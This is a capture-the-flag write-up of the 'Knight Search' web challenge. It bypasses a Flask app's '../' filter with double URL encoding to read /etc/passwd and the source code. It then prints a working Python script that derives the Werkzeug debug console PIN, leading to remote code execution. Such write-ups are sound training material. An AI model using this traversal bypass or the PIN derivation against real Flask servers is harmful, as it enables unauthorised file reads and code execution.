siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Knight Search

Overview

Background

Find the flag

Home page:

According to the challenge’s description, the web application’s backend is using Flask framework, which is written in Python. Also, we can search files in the web application.

View source page:

[...]
<div class="container" style="width: 35%; margin-top: 125px;">
    <form action="/home" method="POST">
        <div class="form-group">
            <h3>Ahhh....</h3>
            <input name="filename" type="text" class="form-control" id="filename" aria-describedby="emailHelp" placeholder="Ahhhh......">
            <button type="submit" class="btn btn-primary" style="margin-top:10px">Ahhh......</button>
            <!-- I was just confused to name these :')' -->
        </div>
    </form>
<div class="alert alert-primary" role="alert" style="margin-top: 12px;">
[...]

When we clicked the submit button, it’ll send a POST request to /home, with parameter filename.

Whenever I deal with this searching files functions, I always will try Path Traversal/Directory Traversal , Local File Inclusion (LFI), Remote File Inclusion (RFI), Server-Side Request Forgery (SSTI) and more.

Let’s try to search some files:

Hmm… What if I send a POST request non-existence parameter?

To do so, I’ll intercept and modify the request via Burp Suite:

We’ve triggered an exception error!

In the error output, we see it’s missing a key (parameter) called filename.

Also, in Werkzeug Debug mode, we can view some of the source code:

return render_template("index.html")

 
@app.route("/home", methods=['POST'])
def home():
    filename = urllib.parse.unquote(request.form['filename'])
    data = "Try Harder....."
    naughty = "../"
    if naughty not in filename:
        filename = urllib.parse.unquote(filename)
        if os.path.isfile(current_app.root_path + '/'+ filename):

Let’s break it down!

Armed with above information, we can try to double URL encode to bypass the ../. This could allow us to do path traversal, and thus read any files on the local system.

Note: You can use CyberChef to do that.

Boom! We can read local files!!!!

Let’s read the flag file!

By reading the content of /etc/passwd file, we found that there is a user called yooboi:

[...]
yooboi:x:1000:1000::/home/yooboi:/bin/sh

Let’s try to read the flag file in his home directory!

Nope…

Hmm… Let’s read the web application’s Flask source code to have a better understanding of the code flow:

from flask import Flask, request, render_template, current_app
import os, urllib


app = Flask(__name__)

@app.route("/")

def start():
    return render_template("index.html")


@app.route("/home", methods=['POST'])
def home():
    filename = urllib.parse.unquote(request.form['filename'])
    data = "Try Harder....."
    naughty = "../"
    if naughty not in filename:
        filename = urllib.parse.unquote(filename)
    if os.path.isfile(current_app.root_path + '/'+ filename):
        with current_app.open_resource(filename) as f:
            data = f.read()
    return render_template("index.html", read = data)



@app.errorhandler(404)
def ahhhh(e):
    return render_template("ahhh.html")


if __name__ == "__main__":
 app.run(host='0.0.0.0', port=7777 , debug=True)

Nothing useful.

Since we can read local files, why not reading Werkzeug’s console PIN code, and use it’s console to get Remote Code Execution:

According to HackTricks, we can calculate the PIN code:

Also, this writeup could be helpful too:

Leaking network interface:

Found network interface: eth0

Leaking MAC address:

Convert from hex address to decimal representation:

┌[root♥siunam]-(~/ctf/KnightCTF-2023/Web/Knight-Search)-[2023.01.21|14:44:59(HKT)]
└> python3                  
Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x0242ac110003)
2485377892355

Then, we can use a Python script to generate the Werkzeug console PIN:

import hashlib
from itertools import chain
probably_public_bits = [
    'yooboi',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892355',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'e01d426f826c47369cd2a96608b66fd8'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

But the PIN code is wrong…

After around 3 hours of nothing. I found this YouTube video writeup, which helps me a LOT!

Note: The /etc/machine-id and /proc/self/cgroup on the challenge machine are EMPTY, we can only have /proc/sys/kernel/random/boot_id. Also, the hashing algorithm MUST change to SHA1.

Final public and private bits:

Final payload:

import hashlib
from itertools import chain
probably_public_bits = [
    'yooboi',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892355',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'e01d426f-826c-4736-9cd2-a96608b66fd8'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
┌[root♥siunam]-(~/ctf/KnightCTF-2023/Web/Knight-Search)-[2023.01.21|17:29:44(HKT)]
└> python3 solve.py
695-086-043

Let’s try this PIN code!

We’re finally in!!!

Let’s use OS command and get the flag:

Conclusion

What we’ve learned:

  1. Remote Code Execution (RCE) Via Werkzeug Debug Console & Bypassing Console PIN Code, Path Traversal Filter